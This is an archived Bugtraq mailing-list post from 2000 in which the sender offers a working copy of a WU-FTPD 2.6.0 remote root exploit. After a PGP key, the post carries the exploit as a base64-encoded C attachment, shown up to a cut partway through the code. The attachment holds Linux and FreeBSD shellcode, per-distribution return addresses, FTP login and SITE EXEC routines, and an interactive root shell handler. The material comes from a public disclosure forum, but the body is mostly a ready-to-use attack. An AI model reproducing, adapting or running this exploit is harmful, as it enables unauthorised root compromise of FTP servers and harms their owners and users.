5246013 2000-07-02  21:44  /414 rader/ Postmaster
Mottagare: Bugtraq (import) <11561>
Ärende: working version of wuftpd exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Content-Type: Multipart/Mixed 
             boundary="Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV"
MIME-Version: 1.0
Message-ID:  <00063014091505.20892@soc1.priv.nuasis.com>
Date:         Fri, 30 Jun 2000 14:07:36 -0700
Reply-To: eric.hines@nuasis.com
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Eric Hines <eric.hines@nuasis.com>
Organization: NUASIS Corporation
To: BUGTRAQ@SECURITYFOCUS.COM

--Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV
Content-Type: text/plain
Content-Transfer-Encoding: 8bit

I have a working version of the wuftpd.c exploit script.
All other versions previously distributed were broken.
This is a working copy.



-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 6.5.2

mQGiBDlP0fgRBADQ6w878kgQ0T1aQOHRHXBu1C+iVUmqDl1R2SE7x+RyoMpYvdTc
8piV4Z2VlbUqf41w9s7jNy3F3M9qj/8EriI7sdmsyyBQiJNonU1lSyaAAWYhqHZ1
DYb0o6PzD3NVctCAsqDoxrHqJlbuuj49pOU0hJcbeIjhy1yupVotV6uB3wCg/zDo
1Swb7FFDHIqDyQ7Kuf+v5r0EAMfm2A/qV4lbXdshRu1o90Wgw0wJwJgjPiU8kelr
T5yVKbBGf6AlkkPagG1+URDZZbKux4pZNn8/GXRubH61vccJ9JUVr9urAQrGhKW9
Hh1BTS1uXbpIMxu1ZquVjEKDS6lao6k6DiamuVEAzL3Ui6R5C/Lfxc0RulijUwZL
Zj6eA/9fL77pYEgDL9VToX3iI21nIDnHxzabbPYjWUBEtRuTJm1nTdBwjhwRzkfZ
h1PrWZ+pYlVMQvIbLhimT6TYRKgXuthuXlC519E81pQB9HK81E1bq5B2JtuhwrdE
hV3UtXihzJc65m4ciSYGnmbuyLMvveYN66hGgSSPrJ3dEtQi/rQiRXJpYyBIaW5l
cyA8ZXJpYy5oaW5lc0BudWFzaXMuY29tPokAVAQQEQIAFAUCOU/R+AUJOGQJAAQL
AwECAhkBAAoJEDBk0XCTfivZAdIAnRELzgdEfu7bG//ObhtZR5Ok2w0YAKCVCopD
ljrpyfJtTP48g7Cx0nbK37kCDQQ5T9H9EAgA9kJXtwh/CBdyorrWqULzBej5UxE5
T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/c
dlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaCl
cjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD
8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZ
yAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf+
I5IyJ5LMKjItUVMFvgSrbR2xlNXE7iGO4OJy5dgM6tdw0r9u64XccySbFDvQO9cm
khgmF1qrpPLpdqsPxLtUEI87r3xDndejwDUjKWceDdIotbZZ8Hphf064eC4HW7S4
smJPIbuW768fkB9sAIY9aLANcVVnwRyOJBORYDhn3PLUR7xVun1SN+XxKbAJB8lP
HBZ0D6/eOl45WeOjuVh31mZt7XwbQaRl4UV8SnjxQToeOB1ivhqcT8Fmv3lFuXEu
uQZ32yfZSJs0uAj8vhyF0J+lsuwl8QK3VON6ZI/VAElH5P9YUr6AFdDEWfRmoGl+
V6HmN/yLrs2iYbV89PfluIkATAQYEQIADAUCOU/R/QUJOGQJAAAKCRAwZNFwk34r
2fbRAJ93tZZJStohApQmo2ANFtlS6eK8wQCfZvWiu70Yc2Nn9EYRa1iykp8iq34=
=7vK/
-----END PGP PUBLIC KEY BLOCK-----

--Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV
Content-Type: text/x-c;
  name="wuftpd2600.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="wuftpd2600.c"

LyoNCiAgaDBoMCBheWUtZGVlLWVtbSdzIDBkNHkgdzRyM3ogMXogdW5icjBrM24gZjByIHkwdSBw
MzBwbDMgbjB3DQogKi8NCi8qDQogKiBWRVJZIFBSSVZBVEUgVkVSU0lPTi4gRE8gTk9UIERJU1RS
SUJVVEUuIDE1LTEwLTE5OTkNCiAqDQogKiAgV1VGVFBEIDIuNi4wIFJFTU9URSBST09UIEVYUExP
SVQNCiAqICAgYnkgdGY4DQogKg0KICogKk5PVEUqOiAgRm9yIGV0aGljYWwgcmVhc29ucywgb25s
eSBhbiBleHBsb2l0IGZvciAyLjYuMCB3aWxsIGJlDQogKiAgICAgcmVsZWFzZWQgKDIuNi4wIGlz
IHRoZSBtb3N0IHBvcHVsYXIgdmVyc2lvbiBub3dhZGF5cyksIGFuZCBpdA0KICogICAgIHNob3Vs
ZCBzdWZmaWNlIHRvIHByb29mIHRoaXMgdnVsbmVyYWJpbGl0eSBjb25jZXB0Lg0KICoNCiAqICAg
U2l0ZSBleGVjIHdhcyBuZXZlciByZWFsbHkgKmZpeGVkKg0KICoNCiAqICAgR3JlZXR6IHRvIHBv
cnRhbCAoaGUgaXMgZWxpdGUhIyUkKSBhbmQgYWxsICMhc2VjdXJpdHkuaXMsIGdsaXRjaCwgRGlH
aXQsDQogKiAgICBceDkwLCB2ZW5nbGluLCB4eiwgTVlUIGFuZCBsYW1hZ3JhLg0KICogICBBbHNv
IGdyZWV0aW5ncyBnbyB0byB0aGUgV1UtRlRQRCBkZXZlbG9wbWVudCB0ZWFtIGZvciBpbmNsdWRp
bmcgdGhpcw0KICogICAgYnVnIGluIEFMTCB0aGVpciB2ZXJzaW9ucy4NCiAqDQogKiAgIEZ1Y2sg
dG8gd3V1cnUgKGhlIGlzIGFuIGlkaW90KQ0KICoNCiAqICAgQWNjb3VudCBpcyBub3QgcmVxdWly
ZWQsIGFub255bW91cyBhY2Nlc3MgaXMgZW5vdWdoIDopDQogKg0KICogVkVSWSBQUklWQVRFIFZF
UlNJT04uIERPIE5PVCBESVNUUklCVVRFLiAxNS0xMC0xOTk5DQogKi8NCg0KI2luY2x1ZGUgPHN0
ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVk
ZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy90
aW1lLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRl
IDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8c2lnbmFs
Lmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCg0KI2lmZGVmIF9fbGludXgNCiNpbmNsdWRlIDxnZXRv
cHQuaD4NCiNlbmRpZg0KDQojZGVmaW5lIE1BS0VfU1RSX0ZST01fUkVUKHgpICgoeCkmMHhmZiks
KCgoeCkmMHhmZjAwKT4+OCksKCgoeCkmMHhmZjAwMDApPj4xNiksKCgoeCkmMHhmZjAwMDAwMCk+
PjI0KQ0KI2RlZmluZSBHUkVFTiAiXDAzM1szMm0iDQojZGVmaW5lIFJFRCAiXDAzM1szMW0iDQoj
ZGVmaW5lIE5PUk0gIlwwMzNbMG0iDQoNCmNoYXIgaW5maW5fbG9vcFtdPSAvKiBmb3IgdGVzdGlu
ZyBwdXJwb3NlcyAqLw0KICJceEVCXHhGRSI7DQoNCmNoYXIgYnNkY29kZVtdID0gLyogTGFtM3Ja
IGNocm9vdCgpIGNvZGUgcmV3cml0dGVuIGZvciBGcmVlQlNEIGJ5IHZlbmdsaW4gKi8NCiAiXHgz
MVx4YzBceDUwXHg1MFx4NTBceGIwXHg3ZVx4Y2RceDgwXHgzMVx4ZGJceDMxXHhjMFx4NDMiDQog
Ilx4NDNceDUzXHg0Ylx4NTNceDUzXHhiMFx4NWFceGNkXHg4MFx4ZWJceDc3XHg1ZVx4MzFceGMw
Ig0KICJceDhkXHg1ZVx4MDFceDg4XHg0Nlx4MDRceDY2XHg2OFx4ZmZceGZmXHgwMVx4NTNceDUz
XHhiMCINCiAiXHg4OFx4Y2RceDgwXHgzMVx4YzBceDhkXHg1ZVx4MDFceDUzXHg1M1x4YjBceDNk
XHhjZFx4ODAiDQogIlx4MzFceGMwXHgzMVx4ZGJceDhkXHg1ZVx4MDhceDg5XHg0M1x4MDJceDMx
XHhjOVx4ZmVceGM5Ig0KICJceDMxXHhjMFx4OGRceDVlXHgwOFx4NTNceDUzXHhiMFx4MGNceGNk
XHg4MFx4ZmVceGM5XHg3NSINCiAiXHhmMVx4MzFceGMwXHg4OFx4NDZceDA5XHg4ZFx4NWVceDA4
XHg1M1x4NTNceGIwXHgzZFx4Y2QiDQogIlx4ODBceGZlXHgwZVx4YjBceDMwXHhmZVx4YzhceDg4
XHg0Nlx4MDRceDMxXHhjMFx4ODhceDQ2Ig0KICJceDA3XHg4OVx4NzZceDA4XHg4OVx4NDZceDBj
XHg4OVx4ZjNceDhkXHg0ZVx4MDhceDhkXHg1NiINCiAiXHgwY1x4NTJceDUxXHg1M1x4NTNceGIw
XHgzYlx4Y2RceDgwXHgzMVx4YzBceDMxXHhkYlx4NTMiDQogIlx4NTNceGIwXHgwMVx4Y2RceDgw
XHhlOFx4ODRceGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceDMwIg0KICJceDYyXHg2OVx4NmVceDMw
XHg3M1x4NjhceDMxXHgyZVx4MmVceDMxXHgzMVx4NzZceDY1XHg2ZSINCiAiXHg2N1x4NmNceDY5
XHg2ZSI7DQoNCmNoYXIgYnNkX2NvZGVfZFtdPSAvKiB5b3Ugc2hvdWxkIGNhbGwgaXQgZGlyZWN0
bHkgKG5vIGp1bXAvY2FsbCkqLw0KICJceEVCXHhGRVx4RUJceDAyXHhFQlx4MDVceEU4XHhGOVx4
RkZceEZGXHhGRlx4NUMiDQogIlx4OEJceDc0XHgyNFx4RkNceDMxXHhDOVx4QjFceDE1XHgwMVx4
Q0VceEIxXHg3MVx4QjBceEVGIg0KICJceDMwXHgwNlx4OERceDc2XHgwMVx4RTJceEY5XHhERVx4
MjZceERFXHgyRlx4QkVceDVGXHhGOCINCiAiXHhCRlx4MjJceDZGXHg1Rlx4QjVceEVCXHhCNFx4
QkVceEJGXHgyMlx4NkZceDYyXHhCOVx4MTQiDQogIlx4ODdceDc1XHhFRFx4RUZceEVGXHhCRFx4
NUZceDY3XHhCRlx4MjJceDZGXHg2Mlx4QjlceDExIg0KICJceEJFXHhCRFx4NUZceEVBXHhCRlx4
MjJceDZGXHg2Nlx4MkNceDYyXHhCOVx4MTRceEJEXHg1RiINCiAiXHhEMlx4QkZceDIyXHg2Rlx4
QkNceDVGXHhFMlx4QkZceDIyXHg2Rlx4NUNceDExXHg2Mlx4QjkiDQogIlx4MTJceDVGXHhFM1x4
QkRceEJGXHgyMlx4NkZceDExXHgyNFx4OUFceDFDXHg2Mlx4QjlceDExIg0KICJceEJEXHg1Rlx4
RDJceEJGXHgyMlx4NkZceDYyXHg5OVx4MTJceDY2XHhBMVx4RUJceDYyXHhCOSINCiAiXHgxN1x4
NjZceEY5XHhCOVx4QjlceEJEXHg1Rlx4RDRceEJGXHgyMlx4NkZceEMwXHg4RFx4ODYiDQogIlx4
ODFceEMwXHg5Q1x4ODdceEVGXHhDMVx4QzFceEVGIjsNCg0KY2hhciBsaW51eGNvZGVbXT0gLyog
TGFtM3JaIGNocm9vdCgpIGNvZGUgKi8NCiAiXHgzMVx4YzBceDMxXHhkYlx4MzFceGM5XHhiMFx4
NDZceGNkXHg4MFx4MzFceGMwXHgzMVx4ZGIiDQogIlx4NDNceDg5XHhkOVx4NDFceGIwXHgzZlx4
Y2RceDgwXHhlYlx4NmJceDVlXHgzMVx4YzBceDMxIg0KICJceGM5XHg4ZFx4NWVceDAxXHg4OFx4
NDZceDA0XHg2Nlx4YjlceGZmXHhmZlx4MDFceGIwXHgyNyINCiAiXHhjZFx4ODBceDMxXHhjMFx4
OGRceDVlXHgwMVx4YjBceDNkXHhjZFx4ODBceDMxXHhjMFx4MzEiDQogIlx4ZGJceDhkXHg1ZVx4
MDhceDg5XHg0M1x4MDJceDMxXHhjOVx4ZmVceGM5XHgzMVx4YzBceDhkIg0KICJceDVlXHgwOFx4
YjBceDBjXHhjZFx4ODBceGZlXHhjOVx4NzVceGYzXHgzMVx4YzBceDg4XHg0NiINCiAiXHgwOVx4
OGRceDVlXHgwOFx4YjBceDNkXHhjZFx4ODBceGZlXHgwZVx4YjBceDMwXHhmZVx4YzgiDQogIlx4
ODhceDQ2XHgwNFx4MzFceGMwXHg4OFx4NDZceDA3XHg4OVx4NzZceDA4XHg4OVx4NDZceDBjIg0K
ICJceDg5XHhmM1x4OGRceDRlXHgwOFx4OGRceDU2XHgwY1x4YjBceDBiXHhjZFx4ODBceDMxXHhj
MCINCiAiXHgzMVx4ZGJceGIwXHgwMVx4Y2RceDgwXHhlOFx4OTBceGZmXHhmZlx4ZmZceGZmXHhm
Zlx4ZmYiDQogIlx4MzBceDYyXHg2OVx4NmVceDMwXHg3M1x4NjhceDMxXHgyZVx4MmVceDMxXHgz
MSI7DQoNCiNkZWZpbmUgTUFYX0ZBSUxFRCAgICAgIDQNCiNkZWZpbmUgTUFYX01BR0lDICAgICAg
IDEwMA0Kc3RhdGljIGludCBtYWdpY1tNQVhfTUFHSUNdLG1hZ2ljX2RbTUFYX01BR0lDXTsNCnN0
YXRpYyBjaGFyICptYWdpY19zdHI9TlVMTDsNCmludCBiZWZvcmVfbGVuPTA7DQpjaGFyICp0YXJn
ZXQ9TlVMTCwqdXNlcm5hbWU9ImZ0cCIsKnBhc3N3b3JkPU5VTEw7DQpzdHJ1Y3QgdGFyZ2V0cyBn
ZXRpdDsNCg0Kc3RydWN0IHRhcmdldHMgew0KCWludCBkZWY7DQoJY2hhciAqb3NfZGVzY3IsICpz
aGVsbGNvZGU7DQoJaW50IGRlbGF5Ow0KCXVfbG9uZyBwYXNzX2FkZHIsIGFkZHJfcmV0X2FkZHI7
DQoJaW50IG1hZ2ljW01BWF9NQUdJQ10sIG1hZ2ljX2RbTUFYX01BR0lDXSxpc2xpbnV4Ow0KfTsN
Cg0Kc3RydWN0IHRhcmdldHMgdGFyZ1tdPXsNCgl7MCwiUmVkSGF0IDYuMiAoPykgd2l0aCB3dWZ0
cGQgMi42LjAoMSkgZnJvbSBycG0iLGxpbnV4Y29kZSwyLDB4ODA3NWIwMC03MDAsMHhiZmZmYjAy
OCx7MHg4NywzLDEsMn0sezEsMiwxLDR9LDF9LA0KCXsxLCJSZWRIYXQgNi4yIChab290KSB3aXRo
IHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHJwbSIsbGludXhjb2RlLDIsMHg4MDc1YjAwLTcwMCwweGJm
ZmZiMDM4LHsweDg3LDMsMSwyfSx7MSwyLDEsNH0sMX0sDQoJezIsIlN1U2UgNi4zIHdpdGggd3Vm
dHBkIDIuNi4wKDEpIGZyb20gcnBtIixsaW51eGNvZGUsMiwweDgwNzZjYjAtNDAwLDB4YmZmZmIw
MTgsezB4ODcsMywxLDJ9LHsxLDIsMSw0fSwxfSwNCgl7MywiU3VTZSA2LjQgd2l0aCB3dWZ0cGQg
Mi42LjAoMSkgZnJvbSBycG0iLGxpbnV4Y29kZSwyLDB4ODA3NjkyMC00MDAsMHhiZmZmYWZlYyx7
MHg4OCwzLDEsMn0sezEsMiwxLDR9LDF9LA0KCXs0LCJSZWRIYXQgNi4yIChab290KSB3aXRoIHd1
ZnRwZCAyLjYuMCgxKSBmcm9tIHJwbSAodGVzdCkiLGxpbnV4Y29kZSwyLDB4ODA3NWIwMC03MDAs
MHhiZmZmYjA3MCx7MHg4NywzLDEsMn0sezEsMiwxLDR9LDF9LA0KDQoJezUsIkZyZWVCU0QgMy40
LVNUQUJMRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHBvcnRzIixic2Rjb2RlLDEwLDB4ODBi
YjQ3NC0xMDAsIDB4YmZiZmMxNjQsezB4M2IsMiw0LDEsMHg0NCwyLDEsMn0sezEsMiwxLDIsMSwy
LDEsNH0sMH0sDQoJezYsIkZyZWVCU0QgMy40LVNUQUJMRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBm
cm9tIHBhY2thZ2VzIixic2Rjb2RlLDIsMHg4MDZkNWIwLTUwMCwweGJmYmZjNmJjLCB7MHg4NCwx
LDIsMSwyfSwgezEsMywyLDEsNH0sMH0sDQoJezcsIkZyZWVCU0QgMy40LVJFTEVBU0Ugd2l0aCB3
dWZ0cGQgMi42LjAoMSkgZnJvbSBwb3J0cyIsYnNkY29kZSwyLDB4ODBhNGRlYy00MDAsMHhiZmJm
YzYyNCx7MHgzQiwyLDEsMHhlLDB4NDAsMSwyLDEsMn0sezEsMiwxLDIsMSwzLDIsMSw0fSwwfSwN
Cgl7OCwiRnJlZUJTRCA0LjAtUkVMRUFTRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHBhY2th
Z2VzIixpbmZpbl9sb29wLDIsMHg4MDcwNmYwLDB4YmZiZmU3OTgsezB4ODgsMiwxLDJ9LHsxLDIs
MSw0fSwwfSwNCgl7MCxOVUxMLE5VTEwsMCwwLDAsezB9LHswfSwwfQ0KfTsNCg0Kdm9pZCB1c2Fn
ZShjaGFyKnp1LGludCBxKXsNCmludCBpLCBuLCBwYWRkaW5nOw0KZnByaW50ZihzdGRlcnIsIlVz
YWdlOiAlcyAtdCA8dGFyZ2V0PiBbLWwgdXNlci9wYXNzXSBbLXMgc3lzdHlwZV0gWy1vIG9mZnNl
dF0gWy1nXSBbLWhdIFsteF1cbiINCiIgICAgICAgICBbLW0gbWFnaWNfc3RyXSBbLXIgcmV0X2Fk
ZHJdIFstUCBwYWRkaW5nXSBbLXAgcGFzc19hZGRyXSBbLU0gZGlyXVxuIg0KInRhcmdldCAgICA6
IGhvc3Qgd2l0aCBhbnkgd3VmdHBkXG51c2VyICAgICAgOiBhbm9ueW1vdXMgdXNlclxuIg0KImRp
ciAgICAgICA6IGlmIG5vdCBhbm9ueW1vdXMgdXNlciwgeW91IG5lZWQgdG8gaGF2ZSB3cml0YWJs
ZSBkaXJlY3RvcnlcbiINCiJtYWdpY19zdHIgOiBtYWdpYyBzdHJpbmcgKHNlZSBleHBsb2l0IGRl
c2NyaXB0aW9uKVxuLWcgICAgICAgIDogZW5hYmxlcyBtYWdpYyBzdHJpbmcgZGlnZ2luZ1xuIg0K
Ii14ICAgICAgICA6IGVuYWJsZXMgdGVzdCBtb2RlXG5wYXNzX2FkZHIgOiBwb2ludGVyIHRvIHNl
dHByb2N0aXRsZSBhcmd1bWVudFxuIg0KInJldF9hZGRyICA6IHRoaXMgaXMgcG9pbnRlciB0byBz
aGVsbGNvZGVcbnN5c3R5cGVzOiBcbiIsenUpOw0KIGZvcihpPTA7dGFyZ1tpXS5vc19kZXNjciE9
TlVMTDtpKyspew0KICBwYWRkaW5nPTA7DQogIGZwcmludGYoc3RkZXJyLCIlcyUyZCAtICVzXG4i
LHRhcmdbaV0uZGVmPyIqIjoiICIsaSx0YXJnW2ldLm9zX2Rlc2NyKTsNCiAgaWYocT4xKXsNCiAg
IGZwcmludGYoc3RkZXJyLCIgICAgIE1hZ2ljIElEOiBbIik7DQogICBmb3Iobj0wO3RhcmdbaV0u
bWFnaWNbbl0hPTA7bisrKXsNCiAgICBpZih0YXJnW2ldLm1hZ2ljX2Rbbl09PTQpDQogICAgIHBh
ZGRpbmc9dGFyZ1tpXS5tYWdpY1tuXTsNCiAgICBmcHJpbnRmKHN0ZGVyciwiJTAyWCwlMDJYIix0
YXJnW2ldLm1hZ2ljW25dLHRhcmdbaV0ubWFnaWNfZFtuXSk7DQogICAgaWYodGFyZ1tpXS5tYWdp
Y1tuKzFdIT0wKQ0KICAgICBmcHJpbnRmKHN0ZGVyciwiOiIpOw0KICAgfQ0KICAgZnByaW50Zihz
dGRlcnIsIl0gUGFkZGluZzogJWRcbiIscGFkZGluZyk7DQogICBmZmx1c2goc3RkZXJyKTsNCiAg
fQ0KIH0NCiBleGl0KDEpOw0KfQ0KDQppbnQgY29ubmVjdF90b19zZXJ2ZXIoY2hhcipob3N0KXsN
CiBzdHJ1Y3QgaG9zdGVudCAqaHA7DQogc3RydWN0IHNvY2thZGRyX2luIGNsOw0KIGludCBzb2Nr
OwkNCgkNCiBpZihob3N0PT1OVUxMfHwqaG9zdD09KGNoYXIpMCl7DQogIGZwcmludGYoc3RkZXJy
LCJJbnZhbGlkIGhvc3RuYW1lXG4iKTsNCiAgZXhpdCgxKTsNCiB9DQogaWYoKGNsLnNpbl9hZGRy
LnNfYWRkcj1pbmV0X2FkZHIoaG9zdCkpPT0tMSkgew0KICBpZigoaHA9Z2V0aG9zdGJ5bmFtZSho
b3N0KSk9PU5VTEwpIHsNCiAgIGZwcmludGYoc3RkZXJyLCJDYW5ub3QgcmVzb2x2ZSAlc1xuIixo
b3N0KTsNCiAgIGV4aXQoMSk7DQogIH0NCiAgbWVtY3B5KChjaGFyKikmY2wuc2luX2FkZHIsKGNo
YXIqKWhwLT5oX2FkZHIsc2l6ZW9mKGNsLnNpbl9hZGRyKSk7DQogfQ0KIGlmKChzb2NrPXNvY2tl
dChQRl9JTkVULFNPQ0tfU1RSRUFNLElQUFJPVE9fVENQKSk9PS0xKXsNCiAgZnByaW50ZihzdGRl
cnIsIkVycm9yIGNyZWF0aW5nIHNvY2tldDogJXNcbiIsc3RyZXJyb3IoZXJybm8pKTsNCiAgZXhp
dCgxKTsNCiB9DQogY2wuc2luX2ZhbWlseT1QRl9JTkVUOw0KIGNsLnNpbl9wb3J0PWh0b25zKDIx
KTsNCiBpZihjb25uZWN0KHNvY2ssKHN0cnVjdCBzb2NrYWRkciopJmNsLHNpemVvZihjbCkpPT0t
MSl7DQogIGZwcmludGYoc3RkZXJyLCJDYW5ub3QgY29ubmVjdCB0byAlczogJXNcbiIsaG9zdCxz
dHJlcnJvcihlcnJubykpOw0KICBleGl0KDEpOw0KIH0NCiByZXR1cm4gc29jazsNCn0NCg0KaW50
IGZ0cF9yZWN2KGludCBzb2NrLGNoYXIqYnVmLGludCBidWZfc2l6ZSxpbnQgZGlzYyl7DQogaW50
IG49MDsNCiBjaGFyIHE7DQoJDQogaWYoZGlzYykgd2hpbGUoKG49cmVjdihzb2NrLCZxLDEsMCkp
PT0xJiZxIT0nXG4nKTsNCiBlbHNlIHsNCiAgKHZvaWQpYnplcm8oYnVmLGJ1Zl9zaXplKTsNCiAg
bj1yZWN2KHNvY2ssYnVmLGJ1Zl9zaXplLDApOw0KICBpZihuPDApew0KICAgZnByaW50ZihzdGRl
cnIsImZ0cF9yZWN2OiByZWN2IGZhaWxlZFxuIik7DQogICBleGl0KDEpOw0KICB9DQogIGJ1Zltu
XT0wOw0KIH0NCiByZXR1cm4gbjsNCn0NCmludCBmdHBfc2VuZChpbnQgc29jayxjaGFyKndoYXQs
aW50IHNpemUsaW50IGYsY2hhciphbnMsaW50IGFuc19zaXplKXsNCiBpbnQgbjsNCiBuPXNlbmQo
c29jayx3aGF0LHNpemUsMCk7DQogaWYobiE9c2l6ZSl7DQogIGZwcmludGYoc3RkZXJyLCJmdHBf
c2VuZDogZmFpbGVkIHRvIHNlbmQuIGV4cGVjdGVkICVkLCBzZW50ICVkXG4iLCBzaXplLG4pOw0K
ICBzaHV0ZG93bihzb2NrLDIpOw0KICBjbG9zZShzb2NrKTsNCiAgZXhpdCgxKTsNCiB9DQogaWYo
ZikNCiAgcmV0dXJuIGZ0cF9yZWN2KHNvY2ssYW5zLGFuc19zaXplLDApOw0KIHJldHVybiAwOw0K
fQ0KDQppbnQgZnRwX3NpdGVleGVjKGludCBzb2NrLGNoYXIqYnVmZixpbnQgYnVmZl9sZW4saW50
IHEsY2hhciphbnMsaW50IGFuc19sZW4pew0KIGZ0cF9zZW5kKHNvY2ssYnVmZixidWZmX2xlbixx
LGFucyxhbnNfbGVuKTsNCiBpZihzdHJuY21wKGFucywiMjAwLSIsNCk9PTApDQogICBmdHBfcmVj
dihzb2NrLE5VTEwsMCwxKTsNCiBlbHNlDQogIGZ0cF9yZWN2KHNvY2ssYW5zLGFuc19sZW4sMCk7
DQoJDQogaWYoc3RybmNtcChhbnMsIjIwMC0iLDQpKXsNCiAgZnByaW50ZihzdGRlcnIsIkNhbm5v
dCBmaW5kIHNpdGUgZXhlYyByZXNwb25zZSBzdHJpbmdcbiIpOw0KICBleGl0KDEpOw0KIH0NCiBy
ZXR1cm4gMDsNCn0NCg0Kdm9pZCBmdHBfbG9naW4oaW50IHNvY2ssY2hhcip1X25hbWUsY2hhcip1
X3Bhc3MpDQp7DQogY2hhciBidWZmWzIwNDhdOw0KICBwcmludGYoImxvZ2dpbiBpbnRvIHN5c3Rl
bS4uXG4iKTsNCiAgc25wcmludGYoYnVmZiwyMDQ3LCJVU0VSICVzXHJcbiIsIHVfbmFtZSk7DQog
IGZ0cF9zZW5kKHNvY2ssIGJ1ZmYsc3RybGVuKGJ1ZmYpLDEsYnVmZiwyMDQ3KTsNCiAgcHJpbnRm
KEdSRUVOIlVTRVIgJXNcbiJOT1JNIiVzIix1X25hbWUsYnVmZik7DQogIHNucHJpbnRmKGJ1ZmYs
MjA0NywiUEFTUyAlc1xyXG4iLHVfcGFzcyk7DQogIHByaW50ZihHUkVFTiJQQVNTICVzXG4iTk9S
TSwqdV9wYXNzPT0nXHg5MCc/IjxzaGVsbGNvZGU+Ijp1X3Bhc3MpOw0KICBmdHBfc2VuZChzb2Nr
LGJ1ZmYsc3RybGVuKGJ1ZmYpLDEsYnVmZiwyMDQ3KTsNCiAgd2hpbGUoc3Ryc3RyKGJ1ZmYsIjIz
MCAiKT09TlVMTCl7DQogICAodm9pZCliemVybyhidWZmLDIwNDgpOw0KICAgZnRwX3JlY3Yoc29j
ayxidWZmLDIwNDgsMCk7DQogIH0NCiAgcHJpbnRmKCIlcyIsYnVmZik7DQogIHJldHVybjsNCn0N
Cg0Kdm9pZCBmdHBfbWtjaGRpcihpbnQgc29jayxjaGFyKmNkLGNoYXIqbmV3KQ0Kew0KIGNoYXIg
YnVmZlsyMDQ4XTsNCg0KIHNwcmludGYoYnVmZiwiQ1dEICVzXHJcbiIsY2QpOw0KIHByaW50ZihH
UkVFTiIlcyJOT1JNLGJ1ZmYpOw0KIGZ0cF9zZW5kKHNvY2ssYnVmZixzdHJsZW4oYnVmZiksMSxi
dWZmLDIwNDcpOw0KIHByaW50ZigiJXMiLGJ1ZmYpOw0KIHNwcmludGYoYnVmZiwiTUtEICVzXHJc
biIsbmV3KTsNCiBmdHBfc2VuZChzb2NrLGJ1ZmYsc3RybGVuKGJ1ZmYpLDEsYnVmZiwyMDQ3KTsN
CiBwcmludGYoR1JFRU4iTUtEIDxzaGVsbGNvZGU+Ik5PUk0iXG4lcyIsYnVmZik7DQogc3ByaW50
ZihidWZmLCJDV0QgJXNcclxuIixuZXcpOw0KIGZ0cF9zZW5kKHNvY2ssYnVmZixzdHJsZW4oYnVm
ZiksMSxidWZmLDIwNDcpOw0KIHByaW50ZihHUkVFTiJDV0QgPHNoZWxsY29kZT4iTk9STSJcbiVz
IixidWZmKTsNCiByZXR1cm47DQp9DQp2b2lkIHByb2Nlc3NfcG9zc2libHlfcm9vdGVkKGludCBz
b2NrKQ0Kew0KIGZkX3NldCAJZmRfcmVhZDsNCiBjaGFyIGJ1ZmZbMTAyNF0sICpjbWQ9Z2V0aXQu
aXNsaW51eD8iL2Jpbi91bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI6Ii91c3IvYmluL3VuYW1lIC1h
Oy91c3IvYmluL2lkO1xuIjsNCiBpbnQgbjsNCg0KIEZEX1pFUk8oJmZkX3JlYWQpOw0KIEZEX1NF
VChzb2NrLCAmZmRfcmVhZCk7DQogRkRfU0VUKDAsICZmZF9yZWFkKTsNCiBzZW5kKHNvY2ssIGNt
ZCwgc3RybGVuKGNtZCksIDApOw0KIHdoaWxlKDEpIHsNCiAgRkRfU0VUKHNvY2ssJmZkX3JlYWQp
Ow0KICBGRF9TRVQoMCwmZmRfcmVhZCk7DQogIGlmKHNlbGVjdChzb2NrKzEsJmZkX3JlYWQsTlVM
TCxOVUxMLE5VTEwpPDApIGJyZWFrOw0KICBpZiggRkRfSVNTRVQoc29jaywgJmZkX3JlYWQpICkg
ew0KICAgaWYoKG49cmVjdihzb2NrLGJ1ZmYsc2l6ZW9mKGJ1ZmYpLDApKTwwKXsNCiAgICAgZnBy
aW50ZihzdGRlcnIsICJFT0ZcbiIpOw0KICAgICBleGl0KDIpOw0KICAgfQ0KICAgaWYod3JpdGUo
MSxidWZmLG4pPDApYnJlYWs7DQogIH0NCiAgaWYgKCBGRF9JU1NFVCgwLCAmZmRfcmVhZCkgKSB7
DQogICAgaWYoKG49cmVhZCgwLGJ1ZmYsc2l6ZW9mKGJ1ZmYpKSk8MCl7CQ0KICAgICAgZnByaW50
ZihzdGRlcnIsIkVPRlxuIik7DQogICAgICBleGl0KDIpOw0KICAgIH0NCiAgICBpZihzZW5kKHNv
Y2ssYnVmZixuLDApPDApIGJyZWFrOw0KICB9DQogIHVzbGVlcCgxMCk7CQ0KIH0NCiBmcHJpbnRm
